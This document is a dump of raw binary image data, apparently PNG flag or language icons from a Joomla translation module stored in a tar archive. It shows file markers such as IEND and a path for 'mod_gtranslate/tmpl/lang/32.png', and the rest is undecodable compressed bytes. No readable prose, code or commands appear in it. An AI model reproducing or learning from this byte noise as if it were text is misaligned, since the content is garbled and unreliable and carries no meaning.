t��@n&Pz����|��L�;k��{w\TA�nG���,�>ܕ��6�棋ﰊE��۞֏~�t�Ҽ�g�S�}�/�羖��?����r��!E5h�i�����m�Sw�����<p83gHS��׋äUw1X߼6�ۃ&Ʀ7�xV���~�fO�]hכK�����/��K���3���m��z�.\�0Tx��ns��;))��#��w] �ǣ��}��?O��´��]'�5=��s�to��>קE�r�6����w@}��/6x_t�	��N=�|�}���kL�>\7_���[M���G�_ٞ�1u���_vD�Փ����s!c��)�Q�c4��imӢ��J$5}�4=_��Ͱ�lVg��((�S��mn7ܢ:��W�7�n5��gwĔ��PISl��5��zU�,���{��%�:�Τ�Գ
��%G궫hJ[Z�B��/����*�`������M�s��g�dR��f�N��IgϖAGw�,�������؟߾�'���J�V�n4J��V�l�'��0ܾ���ӽquf�#��&
�R}��ݛ�W�-�kD�u�Q��ܳ�鎻��)�J��?xP��3**\�Z���ٕSkK=��-pM�����q��)��{�c0��2�u�Q��FIpv|�ӂŏ��j_�W����6�H�m�e���lw[FC�my[(?�A��z�� ���p�p�RR�><?Y��o:�y��هE�/����/|�6o�S*e���+Mv]��j
ܡ�ɩ��
a;,�+��]W�E�c����ӟW>��~m�m���U���0l��逹�k����m��{�l˶�����4iQ{��W}؎�p��.�NU�����b}x�W� ��LK�m�3��F��l��[2E��	�ܕT�ΖwPv���8���b�� �)�����*�Q�Y.L��������ޟ�Ү'������:�#���Y�t�A���~�9��h��
��
�1�|�/��6����ƣ]���'�	/Է�kmc8b�>F��T��M�v�:r�u��Go9S���u��hSg�b��@
�/�L����m?ю9p����C�}�_.RC�A8�T�%��.��F���Ə�ԽOޫ�C����Ο�a�i�_�"}�n\��%{�<a�c�'}�𘖶I�u��}�b}ػ����Dq��N��2T�Y�;�0}��ãj��o^�)�:I��7joΩ�K�F�)��c��	��Zw``����꯱23�[��9pa8$��!?x�Gu��c'��C�9DM
MQk��=��}�U�?k�����l�x<a�:˾��=cj���?z�m�!�d����f���x4�e;s�C�B}���x"�h0�̩i�?�,[�?=�&z��۳��S/8Y��􀦵g���/���a57^�;Z'-Fc
�#���=��h��m��>*�]J�ab�r��w���I}f����j)�������c��;�zzF��m,,�#�Gb�kFr���F�u��{�����n_��.�龛�3�;W�9NؿNj
�6lEw����u?��(��1�	�;�V�t���ׂ�1��	7E����⩎^mq��>x#�GM_x��W�7gEM
Q�>���Do}�s+u�Nӂ��U{k�{�S�I0��`����!�q%P��:lKj�wS�httϞ�mK��!?R}Բ��ݲ�q�����
Ѩ%��%�d^�:��u�-jJ[���cwX
ܱ����b�@1����q_�ۺ>�P�&�5�5��:1B}��`R]�_z5�e��?F�u�{��9g�ӝw=�3/n�Ϯ{�x��
�-pGٷ��{|���M�9	uvvV���ͨ����T�pz���w��>*�G,*��1�@�,'�B���SN�K�N������5�G��g����e�ʹ��&��m�|9�-TÀ
q��>��N�Sfj,=�';�C���np��>���L�/��o�E�77@���� p pn��
��
�77@����� pnn��
��7@�@���� pnn��
��
�77@���� p pn��
��
�77@�@���� pnn��
��7@�@���� p pn��
��E�ql�MJ��x���a@-P�D�>���jz��w,H$��e����曧�T��X��s8�x'�z�O�����',������~u��ɼT�_��lm�����S���N�ĝ�P�wm�'��u��N��s�+����/�'p�|���?rtɊMѺ	x��É�T�_��J/��>0!���|VG} ����ݓ��b�9��j8�{�=�����^�6��欦�9SS�h~�+�kJ&cr�@aX��a��uѺ	���Jz~�\�WWwN�U�t*>��УӀלm��g�g���R���G���G蛲)l�6E���)i8���A�}��g��km1��S���מ����U��ף��y����T�ט���:�~���G������@=pI���W�	��viTggV�\�l��'7*���u�c�T�P�\�gý��U�"�W��)��f���
�5����
�\�rDŽ�ΐS�2;�b�>�F�S�;c�~D�O8�=���l�Kߧ/}�r{?�=�^gL�ү�V=�rZ����d���.���kw&�F�x�?�<����}OA.M�"�TH�����P�(��W����ue��
����o��T���ӎ��TB��Mpާ���k�z��E�n�5����y��
n@�������OAO�v�B
�:�T��X�In����/��I�A�4u��㲾�Nk0�~D��-���U��[ޖ.f������ׅ��d�G'�T�q?��w�Ӆ��[�ެ���(�YP�b��c�<7�V���;� ��&e��\ݻ���yItp:O�Ř��ʽR��Cu��՛���D1d�}��Ҩ�g�Fe�z]��o����}Q�ї���u'j5����������~��ۍ�)����j���u��k�֮�Q6���y(\7�6�u(H�*,�U�f� g�v��=O�qT�<��Ӓ�(�3z���2,�+q=_=��ّ���aAN���ߩ3O>@���[��t�}Ku���LB���Q^Aa�T�@�L��f}��u�aS�~�{7��#���g±�If�zt�4W�yH���Y?1�����Qcc���j�k�w+��+�;�h��gn�4E�?׭��l�n@�Lxz�
��.�V���X�M:�u�y��0��ب���s�==Q�S˹g+���7w�8�����ގo�[�+�yoH��G�s�>����k�|6x�͹�T�J�-�S�(��� So}�ou7~�<�lКݡ�7��%�τ��R����D��9V��a����0�K)��C�m���ڡ뜩ztQϰ�݊׺�_��zqmw�
%�h�@7�&��:��5!���3p�?вY5�0_�N>I��(��5}�b��R<M���<��w��SN���&���L(o��0Z�c�'ϥ�+���6��Vg'��+�e�ל9m�������}�@��Z�nk��İz7���ـ�r+&��<��{�K��r�^ziM���Ȍ�$=��
��[��?��?~��?w���!���W�uw�.za�V3߶n{?kًZ�b���n)��n��	ܲ]J��!ضD���G-���L��ܳ��g/5�tb�u�'�S|�5~��T���<��
/�$�.5|�n��(����WO��?ȗ�����fOV*Y�S&d�=�]+�m�3��
^L�X��DŽ��U�d/ft�����������?���y��tƇ�]�#[*�R��ľ�n�nx�A7��F��@�~�˛�$�H8n@�	O^:
�5�	ܾ��v	
�;����(4�Vq{PJ췯�9DA!��G-󙠫+�k�dR��fʽ��l/����w��a�<�[�rFh�N&bjm���11�s"�ۛC7�t�ogg1�r�vۊ�vWq��6��	lK���a��GުU�v)9g����r2��[ۚ]:��ݤ��F-��k��[�:���	�vT��T�|<s��a�s�܋�|�x�bp_��C~��C�e�>������>`�/4��p;?9���p�.����k�X�<������@�1�]J�@�?��a&�揞�xk[t�q'��S���-�bTQ���F9
�
��*>��|��v��A�-Nv]!�Un�L���0��e��g�+.�w=��^��qY���'&�	��E��G�N�u���v�}���
��ۍFѐ�h;.w�I'��/-^<i:�m�.�T�"K�<fBx�x4��ޓ)��RV�V��4i�
m�f��Jl˝m[‘[��DL_��CQ����>T͓��w��7��]q�c
���K��(�Mb�l޶�q�?���/N���m�I�< p���X�$�_��hl�k;v���`�u,
����r��҇��ڱ�buu�gsO�!��3�"�-Fε�(f�s���S���o?���L�0=z��e���7����o����=Z�1����h$;���*�َ�=%-^HI��r���Db�P�R1H��7]��
h�I�ۺB�~��y,�w\2��❁�n7Z�(n����'�B���9Ц5��[3�����T]&�Cҧe��A�vLw���F����fuwgʆnZ�5;��|���ˏz��ƅ��w�K��I�;���~z�f5�R�#�������(zL����A-ܮ�=x���c���i�~��K�co_'Mj��(���ϱ�C�@�����ׇ� �>0A�W}���	��zF����קU�
��}���#{�5�[��xG��<�>0q�W��<bzi�&���u*�l��7���z���Q.�g�!?B��Fij��O}`BnG��;p�
����
�1k٫{���/��ogw����iճu��##6�Ύ�v�8N�y��L��y��/���j��&�A���f��4�ܥ�o.{盌9~q����x1, @���� p pn��
��
�77@���� pS� p pn��
��
�77@���� p pn��
��
��7@�@���� pnn��
��7@�@���� p pn��
��
�77@���� p pnn�:��$��Ⴋo�����󘙴#'�6�aR
@��zӍ=����������_t����p����
����|���gԶ��볳���E}���ՠ���V!�cO�R�'C��
�P��c�k���Ow-��^�ݟ����Ɨg4v^{�g�~�Tvc��W��1���u=g���u��Y�2�p�׫XqL������M-ܷ~�{>ҳ|�����z�aV�<����曾p�k4�n&l��o�tт�!fV���
�����r�����c�u�Cvi�j��,��‹Ѻ��l��~����7�_j��e_���ֹ'>�2��+��ُ�������j��&���t��w@z/��8左�����Q�d�&l��o��b`�hg�rD*t
6�1�vY�km1�e��/s2Rp��P_���˩�SkOZ��/����Ɵo��s=S�uʕW�z�?]�'TC7`"� ����<��)�cT�_
������_
����f}�+n��fs
K��N]��3��u�pH�.߰h�-;�}�)�
�yO�)��׭7A�^������������S��n��g���U��3i�k>�ͻ�_�7����Dk7vr�
�f�a/.�v�_�Qe�C�E	�4"����6+n�(�=�l4Y
��1������5��-��TB��R����k����=��A�(���Q�W��n�q��tj�e�]��޹�q��f��W��'��?��{7\M7�|���{A4m�Iu	a�la�N���@������Zy��LFa��󋃨�;���*p}˩�~"���(�

yO��-r����o�6�I�X��r�7�����}aE4o�
�X��,����M�]�i�����7]�/�_��f��P`���뫰���Mm����lM�/p�Z�������^��� �\P< u]�4[�-ܽ�Q�M�ʽ�|�����zD�+�����u��W_S�[��a��ߡ�[v�~��}ןm�窏\��9pJ���W^��ة��<<������j-�=�9�.b�ƞ�Z�]��q�
���Z`�g�v��L�e:�XP`�p�*�n;�e�m��dF^��$�@�Ķp��b?xo������R�
�a�X�b�`��h�7��%�Y����?�9�>{ɍwo~����wf)Y�<s��Q+w��~��jQ����k�����
���Z�`�K+�梮$�z�9���I�cGO7G9G9�ԢڑG�
�ї��^�}���EL�9x��pWd/zB���Xb�~��!U/g��o�zE��R�駞��W�Е�E7Lp�{�m�.i�#��0R��+��˷��ތ�
j���ޛ�ި�]��D<&τ�\!�yg`�y�h9@�Fmy;�i��m��&9��i�gOJ3~Z����&弰찁ΐ�֠Rw)�;�g/���+���)�����^��ۓ�O�����yۚuW�rw��=C�h�i\��~y��۶p{rK���ɿ
�g5W��m�.���ްA����m��]���W���U�]��c��@��ܞo.�QKwj�P��v��y�������)6̌҇�-�K�)�
�vel�,��|u�}�KOL���{%�_�ʫ�>���h�lsyN���N��}��Bp����{������c�{���_>�J�<����X {s0 p�6����IX�'=%vw孋)�hLm_)�g��So��i�]]#ϐL*��L�W��|�4MRh/F��t��VWv<��k��W67���?xFt��%p�ĝ3��jZ��yr��n��>|�ׯ��=�rKU볣�؛��D��z�E������4鴼R���r\

l�k�)��(����cX�j��.%��Gm7^=�>(z��p��X��&5L��!^8�mo��mo~c��T3�6�A�}����uy�R���Z�6��#M\��y�-t�����b��j�m�:,;9vY.�{԰}�;i�v����E��#�E��q���W�
�����!�������ޯ��{�E]Q�{V՟���77vD�V1pg~W�9Gi�����p��j�ز�7�`�2Jɨ���i�ş�Z��_)^�Z
�{+t
�o#}#�Ts���I���օzj�F=��C_3ϓɘf��X]B�N��@�Fm<����@uG4鴂R�x�?��f�0(�*U3��SFCqa�
��IM�^\���˾�،�ڄ��^_J���#pGyW�:m�������L�kk7��]��U/�a�Q�m��C垈��B�/r��]b[���K�h�㘃&]JF���^�|�ڲ��׃
�^�8X�#^_N����M�u�P��~sZ[3�a�w���љ�jv]��Q{��}_��դ0oF߭S�
)��0z�NQ�Vu-ܣ�h��p���46��ʫ��}���r�S����s�˄n�܁;��ͩ�v��Y�G77j?���n^�f��
�iT�g����?�}P��>z�_����!��-ҁ�����|\���%����}�T�����н�yy/����|-zt�_6�g��>�=7�&tc'�a㽻��=��������kjq��Du�m��������z�ys15��Q[�L�U�B]�>��gζ����`��ۥ�֧��n�AȦ����%6�vvw�:c�hw�,�fYa߱��籺��>�a6��3	�؉�v��]�;��	�	CZ6�R�8��ao3M�Uw��e�}�B-��]�>��{ތe?�+�3坡�����7��2�fJ���o2�p��󰟙��źfZo�U���)e��b��
��E���v��f�!0@�P�'��� pnn��
��7@�@���� pn� pnn��
��7@�@���� pnn��
��77@���� p pn��
��
�77@����� pnn��
��7@�@���� pnn��
��
�77@���� p pn��
��
�77@�@���� pnn��
��7@�@�����Ӆ�&`IEND�B`�mod_gtranslate/tmpl/lang/32.png000060400000143020150746170550012404 0ustar00�PNG


IHDR�>�jtEXtSoftwareAdobe ImageReadyq�e<ŲIDATx����$e���oU��3��,l���sFQPD$��7���S�΄��PN�;�G:A��$�dXv����U��z�t��mv���;3=�S��y�oUW�<���æ	7@�0�e��ZM�yd=�s(À�X��ԃzP�A=��x�#j�i�p�M>�tY���W�'?�K˖��5�=�u���gɊ�?{����A'��3�S�<bCޗլ�[�K��iw�QO<�ֳ�T�g��_���|�o?����>ؖ�;�9�(Q3h��C��(Q�g��fEJ8g�z�[<9k&��;�֌��%�q�h�D�1���7�<�K�o��z��������y��c&��d=��O|h/�ī[�r��ȵ�~õ�~^u�G�S�`��wK�[�O`M'��w��+�8G<���_��Q'����k<�0�Nz�[���1��b�-�G��n��n�l�#������Oi��+�����s��
1L�m&�c��?�w
�ڌ5�	p��7�eS��x��M=���e&���-���TO5{9J��~&Dn�k�#���u�A���/[��jrK��;3�o�K>�z,X@=B������ܡ�gݽS�5๊��:��ǭ�������?b;m����	��������?�d\c�늾���]v�&}�4����y�>}�n��9%�ݲ��<�1}���ך�-Zznqf[����n��y5Lj�i��]�v.Vǯ�Ql�]�z�d75jC[����?LM�u���ԑIȿl�50@�������y.f?Up�{cvTY7�?f��������k'�5)��GH=�A�����DM���ή��?���rVyr������eP��c���f��#l�r<e��:���zR��-�/x��e���HhʤZ-_�\�?�kmɽA�v"���09"�xU�x�b������5c�k6���FE2i�뛂_ĺ�rj�d%�2�M*D��;(���G���S��K���?�S��Q�=��c�?�]&�]�~��G�+�⫞ӷ�r������~�{�v�&��~��֚5{�n��)-\�\�=�Ž�n6+�P<<(�0�� �?r�i���3�p�_���Ej9�45]�+�`�*]~�=�>��f&]�*S�U�w�l�����a�,3<zZ�ݡ[_Д�l�#��6��;��D���錼L0�)��	+��k���f�o�T���2�EUXj�ú�?�_N��:^�������ښ>�Q�LA̛�Ɔ��{�^_ԮYӛ�xy����/��򼌩}!OÇ���Fe�6b[zkǽ�U�j=��훓zf�m������6갚eZ�:Ms^��I/t�w���=��ʸ�:Y��-/��m:����P�qޑ��4�����c�?��#H�+�^��\��:|g���(}�MZ��M9�lm��v��s��[_�m�=���yw�1�nq2J�� h��[�J\u��S�Җ_�����2s��?��x�M�Z�I�C�=G�|&x�X�q�ծ�{�.J������:G�l�+_451�oEi�HT9�	��)���m���`@���EM04yٞ�
f|K?��m/��X�[`<*/O��̸�m��}�hZG8K��;[u59&l�kxb����;�tz�����Gh�(zEf��o�B���w�G/�iB�9���[z��Nu�����5�7�÷פ9��w��xNN$Zr'���D���7�4�C��_{{��:e7�Ӗ4�;0��o��Qm8����w�`)ٕ�oxD�̛��|�j��Z��K4��SN�i��ٳ'��K�-.�;��ճw4e�/}�h�ƓZw�]j:�d�����uk�$t��ז���Y��r`%�i�ra����{n����s�j⶞X��j_R���&��]��^�/}V��xތ�1���O�,���M1f*��C�?1//giʷR�7��_c}{r&h�6��0`�n�\��sJ��U��7��X���ŶTS�a��ғ/�-�k�1n�?��	�LA3?�̣��-��-j�A����D�5͹$Q[V��l�[g��$uH��`�w�N4����#|��L�ȫ;ݿ����
������w�'�B#U7`�3��Kw�n����+�o��	�Y%�&0��/��W����f�ֆ��K�_֔O��}��V7��b�N&�]}����6��2�Y�LS?s��;\���,ԯ�����1eqYV�r�n
�>x�YS�\�/<��ft<xƞ���5A�A=��	%3��[�R���)���9�<ew���̈́՝�Wp4x��)�c)sN����(LHܔSdrN���y$j~bvq�6CS|wG�嶜������,�#|�2�U*���i][��=t[e�jbfc���7t�'�j����M��T/G=�
7aw�������s�}U�Y�IJhrr��x;�}"먽~�ZW.W��!xm�?41v���ѕ�)��Ǯ��9��h�.<{_M�TGcUk��
�a��3�g����-���l���hf�߿C_��{t��+��r���o���o�VO�z�{��K�'�ֽ�Qt�๻K����%�[��?��+��;�4��\��n�9��֙����^��[z��g�5�uM��R���Jf���o>�U�ӆt���<-�\����h���Q�r��Q�17~E�Z�]�Vey��S6HC����;�����|:��{,
�y7z�=(��_���w9.��^�|���=x�miִ��yi�bшjk#&�9z�jl�+�*a�O�ܱn���l��1��+z�	����Umq�
����<+�:w��;�-n���[7�%��ӷAZj��_�K���@��,l�����=�O׼���� 1���wʾ!��v�s�Yx�{O���~N��'�<J�O�kT�T5����N�L*�+�<�����]���Z��i�YںuJp~�2�㩸&�4���Y�|��{Q���76}�[��r�Tq�Ā=������z�ӕ��:�Y�Q� �`�bi���������U�.\8�쪰2�������=��v4�?���W}@����)�-�xy����m����]��C�՝{[S����V
k�`�����Cy�1^�I�B�����ذ�������������v}�������'?�wկ��5���vLvȀ3l��� p/�Y�u�ga���Cz�+36���ݏ~-��&�שּsVs���e�q�wR魇	u�z�0ek�����������v��䚦��&-&l��{L�Qɔ	�f����Oi�}.T]�Fm�J����//�1�e�L}o.�v�r]�l��y�<}���v��d��*���������k�wk���:���r-�g��O�e�/782�s���	�l�'R.YѩE�;��5��$6�z�s'�ߔ�?/{�-�����
���x~��c���?�k��P�?���Q�Y����gZf������z������ns��x����f����-،]=DŽXų�Gq&���X=����펰W.�%2�&����g6n�_�D��5j��B�&m�o���^I���	���赵��ϴ�������_T!����Iz}�[&��jI�S����z��r2�����ʮ'�K���#B=�n�K�W�7��_x� �M��
_ƫ����u����P��篾��|-��p��
%��;�۳ѓ�U�깴Ӹ��ϻ���#L�ғ_�|�}��#��Sw��E��\&�3U�K_�{�#-M�~���̥��u6�oQ�J9f�_ҹV�����<M��n_����I���F�ǖs�آ�ZܹZ�y�[�+ԞI�`p�E��}�4|؀i6bRyS�*�u��5�h�Ђ�U�u����0O��肘��*̽+)�ic�?��֣�z�ך����g��^	~^�K��ρ?[�������i�� -T���Y1u���_����|ƫw[�.�W�r+��."��7�?q��Q*>-=vP��	���܎;��zҺT��^�9�������W����g�;�z\ӛ�к����ԉ�����+���n��5mk��k��{�j�ߵ,G9�)��7~p=o�
�B�	;�k�o�fj�
:�C�;�u�?o�o=�4��ta�-L�T�pٳr�(��F�׃�*<��w'��0��
���s�{�=ϣ�����J��їm��ܪ��ϯ�%��tx~�nt��ˉq���/�/p�b��Q~��R�����w��ѭVR�����;?�e���z��ѳ+����B���c�7s���l}p�c��=O���Jm�+t���˫��ʥ�3f����)����@v���Re~�U��7����Gh����2���7�y#4�H
_~J�E�+_�7�*�`YS?�@���H��Z����3^_|]�C��o,��je��D����?A�L�H��N�s�r�IM��JX���^�����r�#ܢ]�
Ni�vK����[��x��`����SZ���
�?�_�9W���
a&���Cڪ�s������a!��|�]�D��g�꿾�O���x<j�݁�n���˧n�����{�~�ܥ긱M_=���3��fi�*}��o�/�^�Sv��v�:W�{���	��[["p{�3���='{�U����ϫ�U��\#t�2��V�.w���̪d��ݕ&P�@�`~�B���/a�#|��1�z���7S��مʙ���X��g�a�ȏm�p�_� p�˝�[E~�Ι0\���C:�#/J���|�"�7�k�{���)�����HvC�rk�jշ~���I�|SW\y����TwG�yEMO�d,L�쐽vTo�/�K��G�>]�&@���:��5�q���`�%�iR}�>�חt�^g������^���m2$4:f����b^���l��ʛ	sg�>d�Q�X�*<�)3�W
��1��C�J����P���i:[ٜ�A_l��%�_|\3o�V+��!xz��oh��k�C~��W�
^��̿�]�b>�σ=���O�zW��!$�d�����AI���>���F�?�1��8wo=zn|�זּM�Ok����5�|B��_����^�U���>�t����j���]U\yzV��ɶ/Խ�~A������:���R���?���o���ֽz����+��ϳB��N��#*�Ԍ��m�%��B�׬җ?WG�t�y�a��\��y���Su�Gh�X��{�v�����)^���v�
��������tffs8f�zl.��O��rUb�r��i���1�(���9^A��m�}��	}�ޥ�s��/}��Wh����V�
��e��tT�(Bb�ө����&��CH&bLc��8��Xk3�A�v��	x}�#��?v���ڨ��eZ���*{������I���O\;��z��z���{�{/ե�����XM����g/-��Kj}�<�y�e������~�L:h����-s���q���[t�{j�;i^�n�6�(SLjVv�U�lQ-N�п?s��Uf��DH�ݲ��qq.���M�v�7�f=�D.|�(��ў�k9Z����ۖK����ǂ��Ku�1ף���}��a��}M37g���1^M��1����Aய����է>uD�d����O��&MkU�M7�s����_���V�_]�g�}�W��G_�W��i����C�ײ�\��3��Ͼ�o:ꪏ��r�6���a+Ĉ'�Xv�W��o�3����镶�ʑ��Z�VcC�:I��*Ά�6�,E�Ӵ��FՊ�z(���R���LLA�G���sFU��!S�G��6��$4�%�7��zx��Q�}]�O=�m�%�CH6�x��?6�#�w�%|�.R&�e_��گ�����g��Q�E߽[�=�,YW��]����쳋��_��O�Msn�Z��]�u��}�j����Qg�'�/�!�|7��c����*���K[aV�A��	���׍8��r]��0=����ԃ
�Mi�p�z�3�1r=d�W^_1A����e�0^���A��e��J��@�>�%�˗j�
���%���S��ɤ���: L��m75�`�Y@_SS��g��+R�֭K��3��|�h}����}B
���|Q
���ʇuP�և����_\SW���v���n��[�ʗ��
 � vc�n��جE���2cy1O45ī:g!l]�'D~�}HGV(��\�ucފ��j���o������w�k�%?T�.;(}��u�=�'�}�'\��E��w��cjooWG�kP�K$:�_�7��,J���{�yN?��9&����\���,��
�cο&���j���ecX=�����U�r���z=�?�	����u]��в1�MN;�n{BS��R��)K=6��c�ɴ�g����]�[���1������e����u��eYԃzP�A=�����]T���?��{����7�f����W�A=���ԃzP��.���-@��Ǧ	7@�@���� pnn��
��7@�@���� p pn��
��
�77@���� p pn��
��
��7@�@���� pnn��
��7@�@���� p pn��
��
�77@���� p pnn��
����#b5=_��1���yePˢԃzP�A=����zD�?�+�8�͊D��_�7\�j�kg5��t��r/8�CW{/����z���q��-�à��BEp�>:�lK��F�(]��L=�;^ٶ�;3z��ǯl������#Up]��G6N=�q�'��%���s�<���òl���{�Q�g���G/OŽ������ળ>ZIA�Wc�W1����2�I�a�Tuṅ��_ZX!�i�����\6��&~�:�]&�6=r_�̧���1U]��GX=��~�ܭ��"�ש��r��c<�X�A=B��pۮ�󹳖�\�8l��WH�P%Y�|5�|�1����qL�rr;�d�o/��74�z��ߗz����-�fyY���?̈m�zMW�G��l�*-�����l6�����c��(j�_���^����{���fy�2�(�zdM=:���3�X=��}�7�U^�o��gz����|�<�%X���g�G�QG:��z�I����|�غ���ǵ��	��Y��z��]W*��e���V���הȆ�w��Z3^�a�pL��9yufS#V����3��D�/f����A��&�R���U�a��/P�1��h�jr��N���'��
�g���k~��q�z�M=2UY^:]�|>OÇ�ôQ�Q�0�pь�X���Q�im��6rA����)T��_�ˡ¡�cw�le��3��6A����3��*�1y��9���y?��DŽ���̋�$6���#n�Q��*W.G��������<���ƺĸ�������;��"f�r� 
��h.xLHyG�i䫉�yr�ڔk��z�+��v�������ؿ��;e�@wu��Gm�A�
1V�n&���0�#��*���vwR�#%
y��.S���G��#U�<a����g���o�ؿ�{��o�Г��T���!͵1-o���n/�mBWu6H埠��C�+�Q��I���F�i�	�ݲj��*,]�sx�eF$G�)[h�E)���c܎#�+%7U�A̳��"��w�F�j�s�H�M�+���s<���c��ew"��܃�1�1j�����r��5��%��>��;��)_���:f�H��z��z��pw������&��WU�y��Z��Kd+�oU��/�Vj�׾�I睯��>��=���ߡ��&�:������]�	�����`��X�+ڕ7�X��
,7/7mk6M_�^?�[3Z�p��>S��̑�z`��<m�q-Ͽ�C��~�@ۗ2��[G���LA�Vvɑ��[6��q��h�Rۇ&p�riu&hww���O]f���U����_QDu���y�]y�b��Q�~��iQ�vӳ��W��z����7�RC.-��1?.}B�5��jc�d�*t��;J$�%��+�{<��P�~��r0�� 7�,q,|�2�j�w�?	-O=���D6_��!�?/�6���'�h���o��O.ּ���p|��%�u�-u�lbNHx3�;�OO�1ܩ��埜��ql�x�������a���+�᫚��]�b#�i�&�'u����
��j=0#��eW��k���NB
�n��ۿ4���`��C�_��?��?�.�1���m��]]fRɖX��ޠ��*v�Ij�s��Z~��$��a&��L^فW$��!������m}�p{Z��^�[����b�2f��ӽ������Q���cw�
w.�N�N��\Qf"w2�V��8���#���I��c����y�?Ϥ��!#�N�M��^Q;{�7��3�̙�W�I>�s�X4|h=�c��	��;��~��w��w~ݜ�?��{��u��\̌����S"S�t�r����C����kЏA̶�&Ȃ77�y3�ܫkt�S���:ם���ҳ���)G�@#��8�RN��!����_�0��xd�����Ӧ<���Rw�C��\��0$S��j��"ji���C��*���z8m�w,�HK
^9�T�J�ԣ�v[���m���������V�K\J�x��;�rDl���h��fL�}2�nݦV��|p<�/��S�		ܞ	�tp,����ǫ&揱�?Ap��M�W�y�dE�,^���rg�o|$X�����h�q��F�YV��چף���3A��k���čV›�P��帪R��u�C��܃�Uz��������ԑ_�'NJ^Bۇͭ����0U߽�Q}��e��s���?�����;�D�0�?w��!C��1SR���!%c���"�ɩ�Ѯ�Uw�q��&�AA��U
����p�z�'���Tyl�7���巑[��,�	,�~�[e�vu7��T�w{�n���#��7>���6�����n3Y��la>��*G�kr�[�m�+Z�ˏW.��x�Gt�4�l���o,4�a�O�\ٱz�z`���07��P�2njƶ����U�k6�A��X�R���B�c�	�� p�\#�y
��j�!��;�o�2�G��o��k�_�u�APnn�|~�[k���շ6�q\}��4c��Q/!s����F^����4��aƗ��p�ﹻ"*h���f��Ͳjj*�A��|�O�
a+���VQM<����X/��&2�h䃽���ۋ�u�f���"̴��cVO�
����m�����K�ٿ���n�})�]�7yv��UJ�Z�R�)5DmE<�G�~}�����X��ѽ<�ɦew!��D�J>!-pձqe��.;iگ�U�>���*u�+G�j��j�Щ/3�~q"шܪe`˄��u�p7��w/|�,x�I�vH���N�?�*p�2��	6���X�xƑ��y�7�P����cىb�y.�S_[U�����E����t��ԣj�i�7q8Dt\����>��N;h�9���=��ݳ�'�jƯ�GMg|pT�*Z��5fu��"�}��ubw�u�`wt�ڽ����Jw����Pw\p����7ʎ��y��twJ�'m:�{U����� �^=*�?\ƫ��:���m���#�����{?�w��:\vs��L�yΤ�,�#�mJ#��mcU��P�r��-"^��P�0�Ϛ��*_�,�����l�W}>w8Dtө��D�+��V�'<ƛ��W)�r����6��K-�C���I�i]��T'� ԣ��^Y�����8!)�_Զ���EÇ�W���*���M���n��,`q+��!^������m�k	�Uܖ��&������?F�f���w�i��ܫUSsKU���������Uc�������Z��+�?\ƫM){܎�e����aq������>�$�ת��G�R�����Rm>�ttuU�;�G�a��#Q�A�z�����D:Yݥ�"�#��X���άs=*�?ڙ?6j�ڈ!��?���<�0��U�_g/��#kX��-a�A=���ԃzP��.�����O�z�VS�<f�ȲZ!���ԃzP�A=�ǻ��R�Mn��
��
�77@���� p pn��
��
�77@�@���� pnn��
��7@�@���� p pn��
��
�77@���� p pn��
��
��7@�@���� pnn��
��7@�@���� pe�G�<jz�V�cY���0� �E=���ԃzP�A=�E����MQ�ޡ��V��`��U���&���0�tҧo���������RmK�o��z���cӪ�i�N�mU��ܕW�:���?B�q�׵E�ֈ/����+����k��W������r��mM��6�Q�'��]~����?��~z�8�K�}��V?p����P(��$�w�1/��h4��-�%�Ą��#���m�����܂�#|}'�M=���?9{���Pw�q/��^;b
�BE���^�ԃ���S;��c���Bs��S��zD�q��F5V����_�,�O�5�^�J�t�5�褓N����U[[;���y�[�N��u��k���*���?�M<Ǖ�����<�w�A�k����u����5k�����w����/�y�R��eo��p\WY���lJ��뱥�:�sߪo���=�cb�Q0�U6먣+�������?���뫎4���z�x�����|��9d�W�σ:NH��W}������'����a��)[pԙʅǫ`�����X�Mj�+Wp�e��z���[USS�[n�E|��Ν�i�*K�mmmz�7�h�m�џ��']xᅔ�R&Lxi3ye2e_�������c�/�+�iwl�C���2�\e�8��cd�	�i�3ƣ������Eĭh>�(����=��2ق���Ǫl~���b�)��d�~����ok֬Yj�Ԣ��O����d2���y睵a���.z���>�P����t�('���T#���XLn�	�I�p���Q�;��A�Q��h�x�*��������:�=�q�Rq��h�2�Uw��!Y�ⱪ�kG�"�r�t�N����׼y���k�iΜ9jmm�^{��? ��+��*,]j~�5��f��b��[o�u�:�Z�J�W��wܡ�3g�Z����?���65/�AS��c���/�E��C�u�����XZ���s�[i+���l�z\%��ƣ����NS���sG^2%/����4���CS&@����\��-/b��]���c����W^	�P?��Ӻ��K�~�}ϽJ�xC��3a�	ܕ�Ԥ�|@���;��3���FS�NՋ/�Z��)?���u�?LM$F젩t�Og���<����<�Q"׭T��G�M��N�b�f[�M���Sن���
�{<�HʢLd=�d�He�ƣ��Q�r+�)�w����k'���V��8V�NG#�_wD�5!m_z����)U��!c��;ʔ��͇��;.8I��דO>���:+8�$�ޫ��C����nW�:��2زj<��C=T?�я��~�{��8��]�|^N2��.�_i�׏qn��q�
T�{�%s�`/�P
VF�oz[�?���\�ʞ�պ�MYV��)[��P���5�u�{b�p��˩Gy\|�fL�Sw�:{9�k��	h����OPS��7Q��
�Xe�{�G�
)E��Y�dzS�+n��F�n���!�{}�ߘ�=��1ܻ�[p��C=�#�<2x�1����ΰ��j=G�i�y����j9Dљ3�c��=ڻ�{�P!� 7�~�Eﮣ�3`S��Tw�����x��?��3`b3���|Z'7h����wv��&'�4c��j�V��r���^g���r�nT�Y����ŽI�	��L=�9��NJC��KV�-�1�
RS���1xH{�WF;8��{�n/1�X�����_��Z��h�lM�\L�Y���V��N�W�2V%����?�/��ҢSO=���U?m&��ihPp�U�W�-豚�zޞ�f+�ص�+���x�g�������|�o�.��.�3�{��PlfA�\Zٞ��D���"y�]r�ӓ�t�Ń?Ԃ��������:O��"f�_�S!�T�m�c��=�~����*��=�WM*��|ݥ/s:d��R�1�1��|�U�C8��vz8���+=���0��lE�������G�xPL�Ut��5yG]�虿�u�9��C�Lj�G�.��}�[�W�A����=�?�ͯ��W#�#�:cN��	�C=��]uw+b�}���ꊚ��[k���@,�m֯^]�F�:f��d{��+�fsŸ��ي�6
��c�r%M��@��6�Od�������7�왷�Ѽup��}��+u�m_7Y��J-�SӲ
/S�_#B�(��ّǫ�ǰz*�}��M=*��QM�
�j�l�t�h^�!%�O�����?v�"O?����^��[i�ܯ*�xF������m�#9ђ������#�{��(7U2^����
